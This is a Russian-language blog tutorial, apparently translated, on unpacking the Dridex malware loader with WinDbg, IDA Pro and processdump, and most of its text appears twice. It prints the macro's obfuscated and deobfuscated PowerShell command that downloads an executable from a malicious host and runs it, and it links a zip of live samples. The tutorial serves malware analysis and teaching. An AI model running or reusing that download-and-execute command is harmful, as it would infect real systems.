Доброй ночи, друзья! Менее чем через месяц у нас стартует курс «Реверс-инжиниринг», в связи с этим традиционно делимся полезным материалом по теме.
У некоторых читателей были проблемы с распаковкой начального загрузчика для Dridex (того, что был сброшен макросом), поэтому сегодня я покажу вам простой способ сделать это. Еще одна проблема, с которой сталкиваются люди, которую я не могу решить, это тот факт, что инфекционные цепочки Dridex имеют очень короткое время жизни, что делает практически невозможным реверс для большинства людей. Я объясню почему.
Текущая цепочка заражения Dridex имеет около 4 стадий:
Проблема для аналитиков состоит в том, что здесь сразу 2 точки сбоя: взломанный сайт, на котором размещен загрузчик, можно очистить или удалить учетную запись sharepoint, или же сервер загрузчика может быть остановлен (любой из них предотвратит успешное заражение). Кроме того, серверы загрузчиков часто поддерживают геозону (работают только в том случае, если ваш IP находится в стране, для которой он предназначен, и не является VPN), и как только загрузчик публично загружен, Dridex-группа имеет возможность занести его в черный список, навсегда заблокировав любого, кто его запускает, от контакта с любым C2s (Commercial Cloud Services).
Что удивительно во всех этих «неудачах», так это то, что они, вероятно, являются преднамеренными. Большинство жертв, получивших зараженную электронную почту, откроют ее в течение нескольких рабочих дней, после чего большинство людей, открывших электронную почту, проведут анализ вредоносного ПО, поэтому полезно, чтобы в течении недели все исчезало.
Чтобы читатели могли на практике разобраться в этоме уроке, здесь находится zip, содержащий вредоносный офисный документ и упакованный загрузчик из той же цепочки, поэтому не нужно беспокоиться о мертвых URL-адресах (пароль: infected). Что касается серверов с геозоной загрузчика, я ничего не могу с этим поделать, и поскольку загрузчик уже отозван, вы попадете в черный список за его запуск (если вы не знаете, как обойти черный список, следуйте этому уроку в новой ВМ (виртуальной машине) и, возможно, измените IP после).
Получение упакованного загрузчика
Перво-наперво вы захотите открыть вредоносный документ в Word, но не нажимайте «Включить содержимое» пока. Откройте отладчик (как обычно я использую WinDbg), подключите его к winword.exe, установите точку останова на CreateProcessW, возобновите процесс, затем нажмите «Включить содержимое».
Точка останова будет достигнута почти мгновенно с новыми образцами Dridex (некоторые виртуальные машины могут быть обнаружены, поэтому, если точка останова не сработает, подумайте над маскированием вашей виртуальной машины).
Мы хотим выгрузить 1-й и 2-й параметр CreateProcess (соответственно, путь к приложению и параметры командной строки), мы можем сделать это с помощью следующих команд:
du /c100 poi(esp+4)
du /c100 poi(esp+8)
Примечание: команда du сбрасывает строку с юникодом, оканчивающуюся нулем, /c 100 устанавливает лимит столбцов в максимум, а poi(esp+4) считывает адрес, на который указывает esp+4. Результаты, которые я получил:
Application: C:\Windows\System32\cmd.exe
Parameters: “C:\Windows\System32\cmd.exe” /c p^ower^she^ll -ex^ecutio^nPol^icy ByP^ass -NoP^rofile -com^mand (New-O^bject Net.Webclient).(‘Downl’+’oadfile’).invoke(‘ht’+’tp://’+’littlwnowern.top/lukaku/’,’C:\Users\Admin\AppData\Local\Temp\GksagD.exe’);starT-Process ‘C:\Users\Admin\AppData\Local\Temp\GksagD.exe’;
Здесь мы наблюдаем, как вредоносный макрос запускает cmd.exe с командой для запуска powershell, обхода политики выполнения, а затем загрузки и запуска исполняемого файла. Если мы удалим конкатенацию строк и символы, которые являются просто обфускацией baisc, мы получим следующее:
“C:\Windows\System32\cmd.exe” /c powershell -executionpolicy bypass -noprofile -command (New-Object Net.Webclient).(‘downloadfile’).invoke(‘http://littlwnowern.top/lukaku/’,’C:\Users\Admin\AppData\Local\Temp\GksagD.exe’);start-Process ‘C:\Users\Admin\AppData\Local\Temp\GksagD.exe’;
Теперь мы можем просто вручную загрузить exe-файл из littlwnowern [.]top/lukaku/ (url сейчас мертв, но я загрузил двоичный файл в архив как «GksagD.exe.sample»), это упакованный загрузчик.
Распаковка загрузчика
Для начала нам нужно включить DEP (Data Execution Prevention) для всех приложений, причина этого станет ясна позже. Для этого перейдите в «Панель управления»> «Система и безопасность»> «Система»> «Дополнительные параметры системы»> «Настройки» (в разделе «Производительность») -> «Предотвращение выполнения данных», затем включите DEP для всех программ.
Далее мы собираемся открыть exe-файл в PE Explorer и установить флаг «Relocation Stripped» в заголовке PE, который не позволит ASLR загружать исполняемый файл по другому адресу при каждом его запуске, что упрощает реверсирование.
Теперь сохраните исполняемый файл и откройте его в IDA Pro.
Обычно загрузчики Dridex создают процесс svchost.exe или spoolsv.exe и внедряются в него, поэтому мы знаем, что распакованный код, вероятно, вызовет CreateProcess; Чтобы убедиться в этом, установите точку останова в конце CreateProcessW (в инструкции ret) и нажмите run.
Как только достигнута точка останова, вы должны увидеть, что GksagD.exe создал приостановленный процесс с именем svchost.exe или spoolsv.exe, как и ожидалось. Если мы сделаем один шаг, чтобы вернуться из CreateProcessW обратно к тому коду, который его вызвал, мы встретимся со следующим.
IDA фрагментировала инструкции, что означает, что код был изменен с момента запуска исполняемого файла, что обычно является результатом распаковки на месте (часто упаковщики вредоносных программ используют пустотелые процессы для записи распакованного кода в другой процесс, истинные упаковщики распаковывают код в тот же процесс).
Теперь мы знаем, что основной исполняемый код в какой-то момент заменяется, мы можем поставить точку останова на запись по текущему адресу, которая будет срабатывать при изменении кода.
После этого удалите все остальные точки останова и перезапустите процесс.
Точка останова была вызвана с адреса за пределами основного раздела исполняемых файлов, что означает, что упаковщик выделил часть памяти, а затем скопировал некоторый код, чтобы позаботиться о замене основного исполняемого файла.
Если мы посмотрим на память в Process Hacker, то увидим, что она теперь доступна для чтения и записи, но не исполняемая, что прекрасно, поскольку означает, что упаковщик больше не использует этот код.
Теперь о некоторых выводах уровня Шерлока: мы знаем, что код выполняется здесь позже, и память в данный момент не является исполняемой, поэтому, возможно, в какой-то момент она станет исполняемой.
Функцией, используемой для настройки защиты памяти, обычно является VirtualAlloc, VirtualAllocEx или NtProtectVirtualMemory. Если вы знакомы с внутренними компонентами Windows, вы будете знать, что и VirtualAlloc, и VirtualAllocEx будут внутренне вызывать NtProtectVirtualMemory, так что именно здесь мы поставим точку останова.
Мы могли бы сидеть и проверять стек вызовов каждый раз, когда вызывается NtProtectVirtualMemory, ждать, пока соответствующий адрес будет установлен как исполняемый, затем анализировать заголовок PE, чтобы найти новую точку входа, или мы могли бы поступить умнее.
Мы собираемся установить условную точку останова на NtProtectVirtualMemory с помощью следующего скрипта:
Для этого перейдите в NtProtectVirtualMemory и установите точку останова на первом байте, щелкните правой кнопкой мыши> Изменить точку останова, затем нажмите кнопку «…» и вставьте скрипт.
Этот скрипт будет выполняться каждый раз, когда вызывается NtProtectVirtualMemory, и будет делать следующее:
Давайте запустим и посмотрим, что произойдет.
Исключение нарушения доступа! Потратьте некоторое время, чтобы насладиться моментом, поскольку это, вероятно, единственная серьезная ошибка нарушения доступа, которую вы когда-либо видели…, но почему это хорошо?
Наш скрипт точки останова на NtProtectVirtualMemory установил всю память как неисполняемую, когда упаковщик попытался установить ее в исполняемую. Исключение означает, что все, что упаковщик записывал в память, теперь успешно записано, и он пытается что-то вызвать в этой памяти. Если нам повезет, то, что упаковщик записывал в память, это распакованный загрузчик, а адрес, который он пытался вызвать, является точкой входа, так?
Для этого мы будем использовать удивительный инструмент под названием processdump (ссылка на скачивание), который создает дампы любых exe- или dll-изображений, загруженных в память процессов, и упаковывает их обратно в файлы .exe или .dll.
use “pd32.exe -pid ” to dump the process.
используйте «pd32.exe -pid <идентификатор процесса>» для выгрузки процесса.
Число в конце имени файла является базовым адресом изображения в памяти, поэтому GksagD_exe_GksagD.exe_400000.exe будет таким, каким будет упаковщик, сопоставленный вместо старого исполняемого файла, поэтому мы рассмотрим это в IDA.
Адрес точки входа совпадает с адресом исключения, это распакованный исполняемый файл!
Советы по реверсу
Загрузчик сложен, потому что все строки зашифрованы и нет импорта, но методы, которые я подробно описал в моих руководствах по обращению Dridex, будут работать и на загрузчике.
Посмотрите:
https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html
и
https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html
Примечание: исполняемый файл загрузчика является многоцелевым (это и код, который внедряет svchost / spoolsv, и код, внедряемый в svchost / spoolsv). Если вы хотите реверсить инъекционную часть загрузчика, просто откройте ее в IDA и запустите. Если вы хотите реверсить загрузочную часть, вам нужно скопировать ее в system32 и запустить оттуда (будьте осторожны, что в обоих случаях загрузчик будет удален сам после его исполнения).
Если считаете материал полезным, ставьте плюс, пишите комментарии и обязательно записывайтесь на открытый урок, который пройдет уже сегодня!
У некоторых читателей были проблемы с распаковкой начального загрузчика для Dridex (того, что был сброшен макросом), поэтому сегодня я покажу вам простой способ сделать это. Еще одна проблема, с которой сталкиваются люди, которую я не могу решить, это тот факт, что инфекционные цепочки Dridex имеют очень короткое время жизни, что делает практически невозможным реверс для большинства людей. Я объясню почему.
Текущая цепочка заражения Dridex имеет около 4 стадий:
- Офисный документ, содержащий макрос, запускает powershell-скрипт.
- Powershell-скрипт, который будет загружать упакованный загрузчик со взломанного сайта или sharepoint и запускать его.
- Упакованный загрузчик, который распакует сам себя и вставит код во вновь созданный процесс spoolsrv или svchost.
- Внедренный процесс, который будет связываться с сервером загрузчика, извлекать и выполнять настоящий двоичный файл бота.
Проблема для аналитиков состоит в том, что здесь сразу 2 точки сбоя: взломанный сайт, на котором размещен загрузчик, можно очистить или удалить учетную запись sharepoint, или же сервер загрузчика может быть остановлен (любой из них предотвратит успешное заражение). Кроме того, серверы загрузчиков часто поддерживают геозону (работают только в том случае, если ваш IP находится в стране, для которой он предназначен, и не является VPN), и как только загрузчик публично загружен, Dridex-группа имеет возможность занести его в черный список, навсегда заблокировав любого, кто его запускает, от контакта с любым C2s (Commercial Cloud Services).
Что удивительно во всех этих «неудачах», так это то, что они, вероятно, являются преднамеренными. Большинство жертв, получивших зараженную электронную почту, откроют ее в течение нескольких рабочих дней, после чего большинство людей, открывших электронную почту, проведут анализ вредоносного ПО, поэтому полезно, чтобы в течении недели все исчезало.
Чтобы читатели могли на практике разобраться в этоме уроке, здесь находится zip, содержащий вредоносный офисный документ и упакованный загрузчик из той же цепочки, поэтому не нужно беспокоиться о мертвых URL-адресах (пароль: infected). Что касается серверов с геозоной загрузчика, я ничего не могу с этим поделать, и поскольку загрузчик уже отозван, вы попадете в черный список за его запуск (если вы не знаете, как обойти черный список, следуйте этому уроку в новой ВМ (виртуальной машине) и, возможно, измените IP после).
Получение упакованного загрузчика
Перво-наперво вы захотите открыть вредоносный документ в Word, но не нажимайте «Включить содержимое» пока. Откройте отладчик (как обычно я использую WinDbg), подключите его к winword.exe, установите точку останова на CreateProcessW, возобновите процесс, затем нажмите «Включить содержимое».
Точка останова будет достигнута почти мгновенно с новыми образцами Dridex (некоторые виртуальные машины могут быть обнаружены, поэтому, если точка останова не сработает, подумайте над маскированием вашей виртуальной машины).
Мы хотим выгрузить 1-й и 2-й параметр CreateProcess (соответственно, путь к приложению и параметры командной строки), мы можем сделать это с помощью следующих команд:
du /c100 poi(esp+4)
du /c100 poi(esp+8)
Примечание: команда du сбрасывает строку с юникодом, оканчивающуюся нулем, /c 100 устанавливает лимит столбцов в максимум, а poi(esp+4) считывает адрес, на который указывает esp+4. Результаты, которые я получил:
Application: C:\Windows\System32\cmd.exe
Parameters: “C:\Windows\System32\cmd.exe” /c p^ower^she^ll -ex^ecutio^nPol^icy ByP^ass -NoP^rofile -com^mand (New-O^bject Net.Webclient).(‘Downl’+’oadfile’).invoke(‘ht’+’tp://’+’littlwnowern.top/lukaku/’,’C:\Users\Admin\AppData\Local\Temp\GksagD.exe’);starT-Process ‘C:\Users\Admin\AppData\Local\Temp\GksagD.exe’;
Здесь мы наблюдаем, как вредоносный макрос запускает cmd.exe с командой для запуска powershell, обхода политики выполнения, а затем загрузки и запуска исполняемого файла. Если мы удалим конкатенацию строк и символы, которые являются просто обфускацией baisc, мы получим следующее:
“C:\Windows\System32\cmd.exe” /c powershell -executionpolicy bypass -noprofile -command (New-Object Net.Webclient).(‘downloadfile’).invoke(‘http://littlwnowern.top/lukaku/’,’C:\Users\Admin\AppData\Local\Temp\GksagD.exe’);start-Process ‘C:\Users\Admin\AppData\Local\Temp\GksagD.exe’;
Теперь мы можем просто вручную загрузить exe-файл из littlwnowern [.]top/lukaku/ (url сейчас мертв, но я загрузил двоичный файл в архив как «GksagD.exe.sample»), это упакованный загрузчик.
Распаковка загрузчика
Для начала нам нужно включить DEP (Data Execution Prevention) для всех приложений, причина этого станет ясна позже. Для этого перейдите в «Панель управления»> «Система и безопасность»> «Система»> «Дополнительные параметры системы»> «Настройки» (в разделе «Производительность») -> «Предотвращение выполнения данных», затем включите DEP для всех программ.
Далее мы собираемся открыть exe-файл в PE Explorer и установить флаг «Relocation Stripped» в заголовке PE, который не позволит ASLR загружать исполняемый файл по другому адресу при каждом его запуске, что упрощает реверсирование.
Теперь сохраните исполняемый файл и откройте его в IDA Pro.
Обычно загрузчики Dridex создают процесс svchost.exe или spoolsv.exe и внедряются в него, поэтому мы знаем, что распакованный код, вероятно, вызовет CreateProcess; Чтобы убедиться в этом, установите точку останова в конце CreateProcessW (в инструкции ret) и нажмите run.
Как только достигнута точка останова, вы должны увидеть, что GksagD.exe создал приостановленный процесс с именем svchost.exe или spoolsv.exe, как и ожидалось. Если мы сделаем один шаг, чтобы вернуться из CreateProcessW обратно к тому коду, который его вызвал, мы встретимся со следующим.
IDA фрагментировала инструкции, что означает, что код был изменен с момента запуска исполняемого файла, что обычно является результатом распаковки на месте (часто упаковщики вредоносных программ используют пустотелые процессы для записи распакованного кода в другой процесс, истинные упаковщики распаковывают код в тот же процесс).
Теперь мы знаем, что основной исполняемый код в какой-то момент заменяется, мы можем поставить точку останова на запись по текущему адресу, которая будет срабатывать при изменении кода.
После этого удалите все остальные точки останова и перезапустите процесс.
Точка останова была вызвана с адреса за пределами основного раздела исполняемых файлов, что означает, что упаковщик выделил часть памяти, а затем скопировал некоторый код, чтобы позаботиться о замене основного исполняемого файла.
Если мы посмотрим на память в Process Hacker, то увидим, что она теперь доступна для чтения и записи, но не исполняемая, что прекрасно, поскольку означает, что упаковщик больше не использует этот код.
Теперь о некоторых выводах уровня Шерлока: мы знаем, что код выполняется здесь позже, и память в данный момент не является исполняемой, поэтому, возможно, в какой-то момент она станет исполняемой.
Функцией, используемой для настройки защиты памяти, обычно является VirtualAlloc, VirtualAllocEx или NtProtectVirtualMemory. Если вы знакомы с внутренними компонентами Windows, вы будете знать, что и VirtualAlloc, и VirtualAllocEx будут внутренне вызывать NtProtectVirtualMemory, так что именно здесь мы поставим точку останова.
Мы могли бы сидеть и проверять стек вызовов каждый раз, когда вызывается NtProtectVirtualMemory, ждать, пока соответствующий адрес будет установлен как исполняемый, затем анализировать заголовок PE, чтобы найти новую точку входа, или мы могли бы поступить умнее.
Мы собираемся установить условную точку останова на NtProtectVirtualMemory с помощью следующего скрипта:
if (Dword(esp+0x10) == 0x20 ||
Dword(esp+0x10) == 0x40 ||
Dword(esp+0x10) == 0x10)
{
if (Dword(esp+4) == 0xFFFFFFFF)
{
if (Dword(Dword(esp+8)) >= 0x400000 &&
Dword(Dword(esp+8)) < 0x42e000)
{
PatchDword(esp+0x10, 0x04);
}
}
}
return 0;Для этого перейдите в NtProtectVirtualMemory и установите точку останова на первом байте, щелкните правой кнопкой мыши> Изменить точку останова, затем нажмите кнопку «…» и вставьте скрипт.
Этот скрипт будет выполняться каждый раз, когда вызывается NtProtectVirtualMemory, и будет делать следующее:
- Убедится, что параметр защиты страницы (esp + 0x10) равен 0x10, 0x20 или 0x40 (он же PAGE_EXECUTE, PAGE_EXECUTRE_READ, PAGE_EXECUTE_READWRITE), что означает, что вызов меняет защиту страницы на исполняемую.
- Убедится, что целевой адрес находится в диапазоне основного исполняемого раздела (0x400000 — 0x42e000).
- Изменит параметр защиты на 0x04 (не исполняемый).
- Возврат 0 (возобновить выполнение вместо прерывания в отладчик).
Давайте запустим и посмотрим, что произойдет.
Исключение нарушения доступа! Потратьте некоторое время, чтобы насладиться моментом, поскольку это, вероятно, единственная серьезная ошибка нарушения доступа, которую вы когда-либо видели…, но почему это хорошо?
Наш скрипт точки останова на NtProtectVirtualMemory установил всю память как неисполняемую, когда упаковщик попытался установить ее в исполняемую. Исключение означает, что все, что упаковщик записывал в память, теперь успешно записано, и он пытается что-то вызвать в этой памяти. Если нам повезет, то, что упаковщик записывал в память, это распакованный загрузчик, а адрес, который он пытался вызвать, является точкой входа, так?
Для этого мы будем использовать удивительный инструмент под названием processdump (ссылка на скачивание), который создает дампы любых exe- или dll-изображений, загруженных в память процессов, и упаковывает их обратно в файлы .exe или .dll.
use “pd32.exe -pid ” to dump the process.
используйте «pd32.exe -pid <идентификатор процесса>» для выгрузки процесса.
Число в конце имени файла является базовым адресом изображения в памяти, поэтому GksagD_exe_GksagD.exe_400000.exe будет таким, каким будет упаковщик, сопоставленный вместо старого исполняемого файла, поэтому мы рассмотрим это в IDA.
Адрес точки входа совпадает с адресом исключения, это распакованный исполняемый файл!
Советы по реверсу
Загрузчик сложен, потому что все строки зашифрованы и нет импорта, но методы, которые я подробно описал в моих руководствах по обращению Dridex, будут работать и на загрузчике.
Посмотрите:
https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html
и
https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html
Примечание: исполняемый файл загрузчика является многоцелевым (это и код, который внедряет svchost / spoolsv, и код, внедряемый в svchost / spoolsv). Если вы хотите реверсить инъекционную часть загрузчика, просто откройте ее в IDA и запустите. Если вы хотите реверсить загрузочную часть, вам нужно скопировать ее в system32 и запустить оттуда (будьте осторожны, что в обоих случаях загрузчик будет удален сам после его исполнения).
Если считаете материал полезным, ставьте плюс, пишите комментарии и обязательно записывайтесь на открытый урок, который пройдет уже сегодня!
vilgeforce
«Обычно загрузчики Dridex создают процесс svchost.exe или spoolsv.exe и внедряются в него» — если это известно, то предположу что бряка на WriteProcessMemory позволит сдампить и «внедряемые» данные, и уже распакованный загрузчик. Без особых плясок ;)